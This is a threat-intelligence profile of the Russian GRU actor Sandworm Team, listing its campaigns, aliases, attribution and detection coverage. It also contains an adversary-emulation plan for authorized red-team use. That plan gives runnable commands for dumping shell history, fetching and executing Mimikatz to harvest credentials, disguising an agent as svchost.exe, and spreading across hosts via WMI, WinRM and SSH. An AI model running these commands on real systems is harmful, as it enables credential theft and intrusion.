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Threat Actor

Sandworm Team

sandworm_team · russia · active since 2009

Sandworm Team (Voodoo Bear / IRON VIKING / Seashell Blizzard / APT44 / FROZENBARENTS / ELECTRUM / Telebots / G0034) is a Russian GRU Unit 74455 cyber actor, the destructive-operations counterpart to APT28 / Unit 26165, active since at least 2009; responsible for the 2015 and 2016 Ukrainian power grid attacks (the first and second known cyber-caused electric blackouts), the 2017 NotPetya attack (~USD 10 billion in global damage, the most financially damaging cyberattack in history), the 2018 Olympic Destroyer attack on PyeongChang, the 2019 mass defacement of Georgia, the February 2022 Viasat KA-SAT AcidRain wiper timed to Russia's invasion of Ukraine, HermeticWiper / CaddyWiper / Industroyer2 and a continuing series of bespoke wipers deployed throughout the war, the 2022 Prestige ransomware against Polish and Ukrainian logistics, the 2023 Infamous Chisel Android malware, the December 2023 Kyivstar telecom wiper, and ongoing OT-targeting operations against US water utilities and European critical infrastructure.

six GRU Unit 74455 officers were indicted by the US DOJ in October 2020.

russia confidence: high 26 aliases MITRE ATT&CK G0034 ↗

Profile

Sandworm Team is a Russian state-sponsored threat actor attributed to GRU Unit 74455, the Main Center for Special Technologies (GTsST) within the Russian General Staff Main Intelligence Directorate. Active since at least 2009, Sandworm is the destructive-operations counterpart to APT28's Unit 26165, and is responsible for some of the most consequential and openly attributed cyber operations in history. In April 2024 Mandiant formally elevated Sandworm to APT44, only the fifth Russian group to receive an APT-number designation, reflecting its strategic centrality to Russian cyber doctrine. Sandworm's mission set is uniquely destructive: causing physical- world impact through cyber means. It is responsible for the 2015 and 2016 attacks on Ukraine's electricity grid (the first and second known cyber-caused electric power outages)

the 2017 NotPetya pseudo-ransomware (the most financially damaging cyberattack in history at ~USD 10 billion)

the 2018 Olympic Destroyer attack against PyeongChang with deliberate false-flag indicators designed to misattribute.

the 2018 close-access operation against the OPCW.

the 2019 mass defacement of Georgia; the February 2022 AcidRain attack on Viasat KA-SAT modems coinciding with Russia's invasion.

HermeticWiper, IsaacWiper, CaddyWiper, and a continuing series of bespoke wiper families deployed against Ukrainian targets throughout the war.

the 2022 Industroyer2 attempted electricity-substation attack.

the 2022 Prestige ransomware against Polish and Ukrainian logistics; the 2023 Infamous Chisel Android malware against Ukrainian military personnel.

the December 2023 Kyivstar wiper attack; and ongoing OT-targeting operations including 2024 US water- utility intrusions claimed by the Cyber Army of Russia Reborn persona. Sandworm pioneered ICS-specific weapons (Industroyer/CrashOverride, Industroyer2, both purpose-built for IEC 60870-5-104 and IEC 61850 substation protocols), supply-chain weaponization at scale (M.E.

Doc
  • NotPetya), the modern use of pseudo-ransomware as a destructive cover (NotPetya, BadRabbit, Prestige), and the pre-positioning playbook for cyber-supporting kinetic military operations (AcidRain timed to invasion hour). Six GRU Unit 74455 officers were indicted by the US DOJ in October 2020 in a joint US/UK attribution covering Ukraine grid attacks, NotPetya, French election interference, Olympic Destroyer, OPCW, and Georgia operations. Sandworm operates with notable disregard for collateral effects, NotPetya's global reach beyond Ukraine caused billions in damage to multinational companies including Maersk, Merck, FedEx/TNT, Saint-Gobain, Mondelez, and others.

Aliases

26
sandwormsandworm teamelectrumtelebotsiron vikingblackenergyblackenergy groupblack energyblack energy groupquedaghvoodoo beariridiumseashell blizzardfrozenbarentsapt44temp.noblehadesblue echidnatelebots ganggru unit 74455unit 74455gtsstmain center for special technologiesg0034apt 44apt-44

MITRE ATT&CK aliases

1
Additional names MITRE lists for G0034.
BlackEnergy (Group)

Adversary Emulation Plan

13 steps
Runnable Caldera emulation profile Worm - Move laterally any way possible. Ordered along the attack lifecycle; each step maps to an ATT&CK technique with a concrete executor command. For authorized red-team / purple-team exercises only.
0 collection T1005 · Data from Local System darwin, linux
Parse SSH config
pip install stormssh && storm list
1 credential-access T1552.003 · Unsecured Credentials: Bash History darwin, linux
Dump history
find ~/.bash_sessions -name '*' -exec cat {} \; 2>/dev/null
2 discovery T1135 · Network Share Discovery windows
View admin shares
Get-SmbShare | ConvertTo-Json
3 discovery T1018 · Remote System Discovery darwin, linux, windows
Collect ARP details
arp -a
Run PowerKatz
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };
$web = (New-Object System.Net.WebClient);
$result = $web.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1");
iex $result; Invoke-Mimikatz -DumpCreds
5 discovery T1018 · Remote System Discovery windows
Find Hostname
nbtstat -A #{remote.host.ip}
6 discovery T1018 · Remote System Discovery windows
Reverse nslookup IP
nslookup #{remote.host.ip}
Mount Share
net use \\#{remote.host.fqdn}\C$ /user:#{domain.user.name} #{domain.user.password}
Copy 54ndc47 (SMB)
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
9 lateral-movement T1570 · Lateral Tool Transfer windows, darwin, linux
Copy 54ndc47 (WinRM and SCP)
$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;
Start 54ndc47 (WMI)
$node = '''#{remote.host.fqdn}''';
$user = '''#{domain.user.name}''';
$password = '''#{domain.user.password}''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";
Start Agent (WinRM)
$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;
12 lateral-movement T1021.004 · Remote Services: SSH darwin, linux
Start 54ndc47
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go &&
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'

Notable Campaigns

18
2024Kapeka Backdoor Discovery (2024)
2024US Water Utility Intrusions (Cyber Army of Russia Reborn)
2023Kyivstar Telecommunications Attack (December 2023)
2023Infamous Chisel, Android Malware Targeting Ukrainian Military
2022-2023Multi-Wiper Campaigns in Ukraine (2022-2023)
2022Prestige Ransomware (October 2022)
2022Cyclops Blink Botnet Disruption (February 2022)
2022Viasat KA-SAT AcidRain Attack (February 24, 2022)
2022HermeticWiper and IsaacWiper Pre-invasion Wipers (February 2022)
2022Industroyer2 / Caddywiper Operation (April 2022)
2020US DOJ Indictment of Six GRU Unit 74455 Officers
2019Georgia Mass Defacement (October 2019)
2018Organisation for the Prohibition of Chemical Weapons (April 2018)
2018Olympic Destroyer (February 2018)
2017Macron Leaks / French Presidential Election (2017)
2017NotPetya (June 2017)
2016Ukrainian Power Grid Attack, Industroyer (December 2016)
2015Ukrainian Power Grid Attack (December 2015)

Attribution & Reporting

Attributed by
US Department of JusticeUS Department of StateUS Department of TreasuryCISANSAFBIUK NCSCUK Foreign Commonwealth OfficeUK Ministry of DefenceEU CouncilFive Eyes (US, UK, Canada, Australia, NZ)MicrosoftMandiantGoogle Cloud Threat IntelligenceGoogle Threat Analysis GroupCrowdStrikeESETDragosSentinelOneCisco TalosSymantec / BroadcomKasperskyTrend MicroFireEyeiSIGHT PartnersF-SecureCheck PointSecureWorksRecorded FutureBooz Allen HamiltonUkrainian SBUUkrainian CERT-UAUkrainian State Service of Special Communications
Key reporting
reportiSIGHT Partners: Sandworm Team and the Ukrainian Power Authority Attacks (January 2016)
reportESET: Industroyer, Biggest Threat to Industrial Control Systems Since Stuxnet (June 2017)
reportDragos: CRASHOVERRIDE, Analysis of the Threat to Electric Grid Operations (June 2017)
reportSANS ICS / E-ISAC: Analysis of the Cyber Attack on the Ukrainian Power Grid (March 2016)
reportUS DOJ Indictment 20-CR-316: USA v. Andrienko et al. (October 2020)
reportUK NCSC: UK Exposes Series of Russian Cyber Attacks Against Olympic and Paralympic Games (October 2020)
reportMandiant: APT44, Unearthing Sandworm (April 2024)
reportMicrosoft: An Overview of Russia's Cyberattack Activity in Ukraine (April 2022)
reportMicrosoft Threat Intelligence: New Prestige Ransomware Impacts Organizations in Ukraine and Poland (October 2022)
reportSentinelOne: AcidRain, A Modem Wiper Rains Down on Europe (March 2022)
reportSentinelOne: AcidPour, New Embedded Wiper Variant of AcidRain (March 2024)
reportESET: HermeticWiper, New Data-Wiping Malware Hits Ukraine (February 2022)
reportESET: Industroyer2, Industroyer Reloaded (April 2022)
reportESET: TeleBots Back, Supply-Chain Attacks Against Ukraine (June 2017)
reportESET: New TeleBots Backdoor Linking Industroyer to NotPetya (October 2018)
reportCrowdStrike: Adversary of the Month, VOODOO BEAR (January 2018)
reportCISA AA22-057A: Update, Destructive Malware Targeting Organizations in Ukraine (February 2022)
reportCISA AA22-110A: Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure (April 2022)
reportFive Eyes Joint Advisory AA23-243A: Infamous Chisel Mobile Malware (August 2023)
reportWithSecure: Kapeka, A Novel Backdoor Spotted in Eastern Europe (April 2024)
reportSymantec: Ukraine, Wiper Malware Linked to Russia (2022)
reportCisco Talos: The MeDoc Connection (NotPetya) (July 2017)
reportGoogle Mandiant: Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology (November 2023)
reportRecorded Future: VOODOO BEAR Targeting Ukraine
reportAndy Greenberg / WIRED: Sandworm, A New Era of Cyberwar (book, 2019)
reportEuRepoC: Threat Profile, Sandworm

Detection Blind Spots

60 techniques
Across this actor’s 60 mapped techniques, the share covered by each detection layer. Low bars are where you’d be blind if this actor targeted you.
Behavioral / log (Sigma)45/60 · 75%
Analytics (MITRE CAR)27/60 · 45%
Runtime / container (Falco)4/60 · 6%
File / malware (YARA)0/60 · 0%
Network (Suricata/Snort)11/60 · 18%
Vuln scan (Nuclei)0/60 · 0%

Atomic Test Plan

30 techniques
Runnable Atomic Red Team tests covering this actor’s mapped techniques - validate your detections against this specific adversary. Cross-reference the blind spots above. For authorized lab / purple-team use. Open the full builder
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
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Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
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